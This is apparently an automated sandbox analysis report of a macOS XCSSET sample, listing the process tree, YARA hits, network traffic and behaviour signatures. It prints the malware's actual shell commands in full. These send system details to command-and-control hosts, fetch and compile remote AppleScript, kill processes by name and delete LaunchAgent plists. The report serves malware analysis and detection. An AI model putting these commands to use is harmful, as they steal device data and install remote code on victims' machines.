            • sysctl (MD5: 340b13a50d8ee5cfcc91d8480aa5cbe6) Arguments: sysctl -n machdep.cpu.brand_string
            • sh New Fork (PID: 1064, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'
              • bash New Fork (PID: 1065, Parent: 1064)
              • ioreg (MD5: d03e2df1848ceb731ba4a8c3e82b2011) Arguments: ioreg -c IOPlatformExpertDevice -d 2
              • bash New Fork (PID: 1066, Parent: 1064)
              • awk (MD5: 231a9b1c4634f8b7b53d29c9c47ee4df) Arguments: awk -F' /IOPlatformSerialNumber/{print $(NF-1)}
            • sh New Fork (PID: 1067, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c curl -k -s --connect-timeout 14 -d 'MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/l
            • curl (MD5: f26856a56418cdf4551b4bdd7be78831) Arguments: curl -k -s --connect-timeout 14 -d MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/l
            • sh New Fork (PID: 1068, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9
              • bash New Fork (PID: 1069, Parent: 1068)
              • ps (MD5: 48b7f71ab3866eee46d3ef67f8233168) Arguments: ps aux
              • bash New Fork (PID: 1070, Parent: 1068)
              • grep (MD5: 99be09a23ac46af2879dc015993ca389) Arguments: grep -E com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede
              • bash New Fork (PID: 1071, Parent: 1068)
              • grep (MD5: 99be09a23ac46af2879dc015993ca389) Arguments: grep -v grep
              • bash New Fork (PID: 1072, Parent: 1068)
              • awk (MD5: 231a9b1c4634f8b7b53d29c9c47ee4df) Arguments: awk {print $2}
              • bash New Fork (PID: 1073, Parent: 1068)
              • xargs (MD5: 8f884810645d2a6e0b1a4d499993857c) Arguments: xargs kill -9
            • sh New Fork (PID: 1074, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c echo 'superdocs.ru' > ~/Library/Caches/GitServices/.domain
            • sh New Fork (PID: 1075, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'
              • bash New Fork (PID: 1076, Parent: 1075)
              • ioreg (MD5: d03e2df1848ceb731ba4a8c3e82b2011) Arguments: ioreg -c IOPlatformExpertDevice -d 2
              • bash New Fork (PID: 1077, Parent: 1075)
              • awk (MD5: 231a9b1c4634f8b7b53d29c9c47ee4df) Arguments: awk -F' /IOPlatformSerialNumber/{print $(NF-1)}
            • sh New Fork (PID: 1078, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c curl -k -s --connect-timeout 14 -d 'updated .domain with superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/l
            • curl (MD5: f26856a56418cdf4551b4bdd7be78831) Arguments: curl -k -s --connect-timeout 14 -d updated .domain with superdocs.ru -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/l
            • sh New Fork (PID: 1079, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c echo ~/Library/Caches/GitServices/.rep
            • sh New Fork (PID: 1080, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c date -r '/Users/pedro/Library/Caches/GitServices/.rep' +'%s' || echo 9999999999
              • bash New Fork (PID: 1081, Parent: 1080)
              • date (MD5: 9983eb16b31b7224ae79b51b2b49ee75) Arguments: date -r /Users/pedro/Library/Caches/GitServices/.rep +%s
            • sh New Fork (PID: 1082, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c date +'%s'
            • date (MD5: 9983eb16b31b7224ae79b51b2b49ee75) Arguments: date +%s
            • sh New Fork (PID: 1083, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c [ -d /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/ ] && echo '1' || echo '0'
            • sh New Fork (PID: 1084, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/'
            • mkdir (MD5: 1a411936bac2c64c06674cbcfcdd66f8) Arguments: mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/
            • sh New Fork (PID: 1085, Parent: 1037)
            • bash (MD5: c0c00727c39ed1a5586291299575a6aa) Arguments: sh -c curl -sk -d 'user=pedro' https://superdocs.ru/agent/scripts/remove_old.applescript | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/com.utils.core.sound.app'
              • bash New Fork (PID: 1086, Parent: 1085)
              • curl (MD5: f26856a56418cdf4551b4bdd7be78831) Arguments: curl -sk -d user=pedro https://superdocs.ru/agent/scripts/remove_old.applescript
  • cleanup

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
exec.2430808EXT_SUSP_OBFUSC_macOS_RootHelper_ObfuscatedYara for the public tool \'roothelper\'. Used by XCSSET (https://gist.github.com/NullArray/f39b026b9e0d19f1e17390a244d679ec)im0prtp3
  • 0x3f78:$a1: E: neither argv[0] nor $_ works.
  • 0x3f99:$c1: %s%s%s: %s\x0A
  • 0x3f60:$c2: x%lx
  • 0x3f65:$c3: =%lu %d
  • 0x3f6d:$c4: %lu %d%c
  • 0x36b1:$opcodes_3: E8 9A FD FF FF 8B 85 E8 FD FF FF 2B 85 D0 FD FF FF 83 C0 01 89 85 EC FD FF FF E9 0A 00 00 00

Dropped Files

SourceRuleDescriptionAuthorStrings
/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/aJoeSecurity_XCSSETYara detected XCSSETJoe Security

    Snort Signatures

    ⊘No Snort rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results
    Source: /usr/bin/curl (PID: 979)Writes from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 982)Writes from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1034)Writes from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1043)Writes from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1067)Writes from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1078)Writes from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1086)Writes from socket in process: dataJump to behavior
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49348
    Source: unknownNetwork traffic detected: HTTP traffic on port 49351 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49347
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49346
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49345
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49344
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49343
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49342
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49341
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49340
    Source: unknownNetwork traffic detected: HTTP traffic on port 49336 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49339 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49313 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49342 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49339
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49338
    Source: unknownNetwork traffic detected: HTTP traffic on port 49302 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49337
    Source: unknownNetwork traffic detected: HTTP traffic on port 49327 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49336
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49335
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49334
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49333
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49332
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49331
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49330
    Source: unknownNetwork traffic detected: HTTP traffic on port 49319 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49333 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49354 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49316 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49322 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49347 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49329
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49328
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49327
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49326
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49325
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49324
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49323
    Source: unknownNetwork traffic detected: HTTP traffic on port 49324 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49322
    Source: unknownNetwork traffic detected: HTTP traffic on port 49330 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49321
    Source: unknownNetwork traffic detected: HTTP traffic on port 49301 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49320
    Source: unknownNetwork traffic detected: HTTP traffic on port 49318 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49357 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49338 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49315 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49321 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49344 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49319
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49318
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49317
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49316
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49315
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49314
    Source: unknownNetwork traffic detected: HTTP traffic on port 49352 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49313
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49312
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49311
    Source: unknownNetwork traffic detected: HTTP traffic on port 49304 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49310
    Source: unknownNetwork traffic detected: HTTP traffic on port 49335 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49341 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49310 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49307 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49309
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49308
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49307
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49306
    Source: unknownNetwork traffic detected: HTTP traffic on port 49349 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49305
    Source: unknownNetwork traffic detected: HTTP traffic on port 49326 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49304
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49303
    Source: unknownNetwork traffic detected: HTTP traffic on port 49303 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49302
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49301
    Source: unknownNetwork traffic detected: HTTP traffic on port 49332 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49355 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49306 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49329 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49346 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49350 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49323 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49337 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49358 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49312 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49309 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49343 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49305 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49334 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49353 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49340 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49311 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49308 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49348 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49358
    Source: unknownNetwork traffic detected: HTTP traffic on port 49325 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49357
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49356
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49355
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49354
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49353
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49352
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49351
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49350
    Source: unknownNetwork traffic detected: HTTP traffic on port 49331 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49317 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49356 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49314 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49320 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49345 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49328 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49349
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 24 Aug 2022 09:18:41 GMTContent-Type: text/htmlContent-Length: 162Connection: close
    Source: applet, 00001023.00000508.1.0000000111dd3000.0000000111ddb000.r--.sdmp, applet, 00001023.00000508.1.0000000112cf3000.0000000112d03000.r--.sdmp, applet, 00001023.00000508.1.00000001131ce000.00000001131d6000.r--.sdmp, applet, 00001023.00000508.1.000000011a215000.000000011a246000.r--.sdmpString found in binary or memory: http://crl.apple.com/codesigning.crl0
    Source: applet, 00001023.00000508.1.0000000113511000.0000000113cdb000.r--.sdmpString found in binary or memory: http://www.apple.com/Copyright
    Source: applet, 00001023.00000508.1.0000000111dd3000.0000000111ddb000.r--.sdmp, applet, 00001023.00000508.1.0000000112cf3000.0000000112d03000.r--.sdmp, applet, 00001023.00000508.1.00000001131ce000.00000001131d6000.r--.sdmp, applet, 00001023.00000508.1.000000011a215000.000000011a246000.r--.sdmp, CodeResources.469.dr, com.apple.spx.plist.495.dr, Info.plist.468.dr, Info.plist.475.dr, sh-thd-4984109211.494.drString found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
    Source: applet, 00001023.00000508.1.0000000111dd3000.0000000111ddb000.r--.sdmp, applet, 00001023.00000508.1.0000000112cf3000.0000000112d03000.r--.sdmp, applet, 00001023.00000508.1.00000001131ce000.00000001131d6000.r--.sdmp, applet, 00001023.00000508.1.000000011a215000.000000011a246000.r--.sdmpString found in binary or memory: http://www.apple.com/appleca/root.crl0
    Source: a.537.drString found in binary or memory: https://superdocs.ru/l
    Source: applet, 00001023.00000508.1.0000000111dd3000.0000000111ddb000.r--.sdmp, applet, 00001023.00000508.1.0000000112cf3000.0000000112d03000.r--.sdmp, applet, 00001023.00000508.1.00000001131ce000.00000001131d6000.r--.sdmp, applet, 00001023.00000508.1.000000011a215000.000000011a246000.r--.sdmpString found in binary or memory: https://www.apple.com/appleca/0
    Source: unknownHTTP traffic detected: POST /apple/com.php HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*Content-Length: 51Content-Type: application/x-www-form-urlencoded
    Source: /usr/bin/curl (PID: 979)Reads from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 982)Reads from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1034)Reads from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1043)Reads from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1067)Reads from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1078)Reads from socket in process: dataJump to behavior
    Source: /usr/bin/curl (PID: 1086)Reads from socket in process: dataJump to behavior
    Source: unknownDNS traffic detected: queries for: melindas.ru
    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: melindas.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /sys/prepod.php HTTP/1.1Host: melindas.ruUser-Agent: curl/7.79.1Accept: */*X-Usr: pedro
    Source: global trafficHTTP traffic detected: GET /agent/bin/icons/Empty.icns HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /agent/bin/icons/Empty.icns HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /agent/bin/icons/Empty.icns HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /agent/payload.php?serial=C07GV0KZPJH8&user=pedro&hash=&display_state=off HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /agent/bin/icons/Empty.icns HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /agent/bin/icons.php?icon=Reminders HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /agent/bin/icons/Empty.icns HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /agent/bin/icons/Empty.icns HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: global trafficHTTP traffic detected: GET /agent/bin/icons/Empty.icns HTTP/1.1Host: superdocs.ruUser-Agent: curl/7.79.1Accept: */*
    Source: exec.2430808, type: SAMPLEMatched rule: EXT_SUSP_OBFUSC_macOS_RootHelper_Obfuscated date = 2021-06-07, author = im0prtp3, description = Yara for the public tool \'roothelper\'. Used by XCSSET (https://gist.github.com/NullArray/f39b026b9e0d19f1e17390a244d679ec), reference = https://twitter.com/imp0rtp3/status/1401912205621202944, score =
    Source: classification engineClassification label: mal100.troj.spyw.evad.mac2430808@0/32@2/0

    Persistence and Installation Behavior

    barindex
    Writes compiled Apple script to disk (with potentially malicious intention)
    Source: /usr/bin/osacompile (PID: 1001)File written: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/main.scptJump to dropped file
    Source: /usr/bin/osacompile (PID: 1035)File written: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/aJump to dropped file
    Searches for processes that are suspiciously named
    Source: /usr/bin/osascript (PID: 1037)Ps and grep: /bin/sh -> sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9Jump to behavior
    Source: /bin/sh (PID: 1068)Ps and grep: /bin/bash -> sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9Jump to behavior
    Writes Mach-O files to untypical directories
    Source: /usr/bin/osacompile (PID: 1001)FAT Mach-O written to unusual path: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/appletJump to dropped file
    Source: /usr/bin/codesign (PID: 1002)FAT Mach-O written to unusual path: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet.cstempJump to dropped file
    Tries to delete plist files with Apple identifiers
    Source: /bin/bash (PID: 992)Apple named plists deleted: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.apple.airplay.plistJump to behavior
    Source: /bin/bash (PID: 993)Apple named plists deleted: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.apple.airplay.plistJump to behavior
    Source: /bin/bash (PID: 994)Apple named plists deleted: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Source: /bin/bash (PID: 995)Apple named plists deleted: /bin/rm -> rm -f /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Likely kills multiple processes
    Source: /usr/bin/osascript (PID: 1037)xargs kill via ps: /bin/sh -> sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9Jump to behavior
    Source: /bin/sh (PID: 1068)xargs kill via ps: /bin/bash -> sh -c ps aux | grep -E 'com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravede' | grep -v grep | awk '{print $2}' | xargs kill -9Jump to behavior
    Source: /bin/bash (PID: 961)Xxd executable: /usr/bin/xxd -> xxd -p -rJump to behavior
    Source: /bin/bash (PID: 964)Xxd executable: /usr/bin/xxd -> xxd -p -rJump to behavior
    Source: /bin/bash (PID: 967)Xxd executable: /usr/bin/xxd -> xxd -p -rJump to behavior
    Source: /bin/bash (PID: 970)Xxd executable: /usr/bin/xxd -> xxd -p -rJump to behavior
    Source: /bin/bash (PID: 973)Xxd executable: /usr/bin/xxd -> xxd -p -rJump to behavior
    Source: /bin/bash (PID: 976)Xxd executable: /usr/bin/xxd -> xxd -p -rJump to behavior
    Source: /usr/bin/osacompile (PID: 1001)AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plistJump to behavior
    Source: /usr/bin/osacompile (PID: 1001)AppleScript framework/component info plist opened: /System/Library/PrivateFrameworks/AppleScript.framework/Resources/Info.plistJump to behavior
    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plistJump to behavior
    Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet (PID: 1023)AppleScript framework/component info plist opened: /System/Library/PrivateFrameworks/AppleScript.framework/Resources/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1028)AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1028)AppleScript framework/component info plist opened: /System/Library/PrivateFrameworks/AppleScript.framework/Resources/Info.plistJump to behavior
    Source: /usr/bin/osacompile (PID: 1035)AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plistJump to behavior
    Source: /usr/bin/osacompile (PID: 1035)AppleScript framework/component info plist opened: /System/Library/PrivateFrameworks/AppleScript.framework/Resources/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)AppleScript framework/component info plist opened: /System/Library/Components/AppleScript.component/Contents/Info.plistJump to behavior
    Source: /usr/bin/osascript (PID: 1037)AppleScript framework/component info plist opened: /System/Library/PrivateFrameworks/AppleScript.framework/Resources/Info.plistJump to behavior
    Source: /bin/bash (PID: 1017)Launch agent/daemon unloaded: launchctl unload -w /Users/pedro/Library/LaunchAgents/com.apple.spx.plistJump to behavior
    Source: /bin/bash (PID: 1000)Mkdir executable: /bin/mkdir -> mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mailJump to behavior
    Source: /bin/bash (PID: 1010)Mkdir executable: /bin/mkdir -> mkdir -p /Users/pedro/Library/LaunchAgentsJump to behavior
    Source: /bin/bash (PID: 1013)Mkdir executable: /bin/mkdir -> mkdir -p /Users/pedro/Library/Caches/GitServicesJump to behavior
    Source: /bin/bash (PID: 1031)Mkdir executable: /bin/mkdir -> mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/ContainersJump to behavior
    Source: /bin/bash (PID: 1045)Mkdir executable: /bin/mkdir -> mkdir -p /Users/pedro/Library/Caches/GitServices/Jump to behavior
    Source: /bin/bash (PID: 1084)Mkdir executable: /bin/mkdir -> mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/Jump to behavior
    Source: /bin/bash (PID: 1051)Grep executable: /usr/bin/grep -> grep https -b3Jump to behavior
    Source: /bin/bash (PID: 1062)Grep executable: /usr/bin/grep -> grep -q enabledJump to behavior
    Source: /bin/bash (PID: 1070)Grep executable: /usr/bin/grep -> grep -E com.apple.net|com.utils.core|com.metal.core|agentde|canaryde|operade|speedde|edegede|firefoxde|yandexde|avatarde|bravedeJump to behavior
    Source: /bin/bash (PID: 1071)Grep executable: /usr/bin/grep -> grep -v grepJump to behavior
    Source: /bin/bash (PID: 1028)Osascript command executed: osascript /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scptJump to behavior
    Source: /bin/bash (PID: 1037)Osascript command executed: osascript /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/aJump to behavior
    Source: /bin/bash (PID: 1015)Chmod executable: /bin/chmod -> chmod +x /Users/pedro/Library/Caches/GitServices/AppleWebKitJump to behavior
    Source: /bin/bash (PID: 979)Curl executable: /usr/bin/curl -> curl --connect-timeout 11 -s -k https://melindas.ruJump to behavior
    Source: /bin/bash (PID: 982)Curl executable: /usr/bin/curl -> curl -ks -m 5 -H X-Usr: pedro https://melindas.ru/sys/prepod.phpJump to behavior
    Source: /bin/bash (PID: 1034)Curl executable: /usr/bin/curl -> curl -sk -d user=pedro&build_vendor=default&build_version=1.1.5 https://superdocs.ru/apple/com.phpJump to behavior
    Source: /bin/bash (PID: 1043)Curl executable: /usr/bin/curl -> curl -k -s --connect-timeout 14 -d module launched. connRetries: 0. Used domain: superdocs.ru -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/lJump to behavior
    Source: /bin/bash (PID: 1067)Curl executable: /usr/bin/curl -> curl -k -s --connect-timeout 14 -d MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/lJump to behavior
    Source: /bin/bash (PID: 1078)Curl executable: /usr/bin/curl -> curl -k -s --connect-timeout 14 -d updated .domain with superdocs.ru -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/lJump to behavior
    Source: /bin/bash (PID: 1086)Curl executable: /usr/bin/curl -> curl -sk -d user=pedro https://superdocs.ru/agent/scripts/remove_old.applescriptJump to behavior
    Source: /bin/bash (PID: 1029)Ping executable: /sbin/ping -> ping -o -t 3 superdocs.ruJump to behavior
    Source: /bin/bash (PID: 1039)Ping executable: /sbin/ping -> ping -o -t 3 superdocs.ruJump to behavior
    Source: /usr/bin/osacompile (PID: 1001)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/Info.plistJump to behavior
    Source: /usr/bin/osacompile (PID: 1001)AppleScript scripting addition info plist opened: /System/Library/ScriptingAdditions/Digital Hub Scripting.osax/Contents/Info.plistJump to behavior
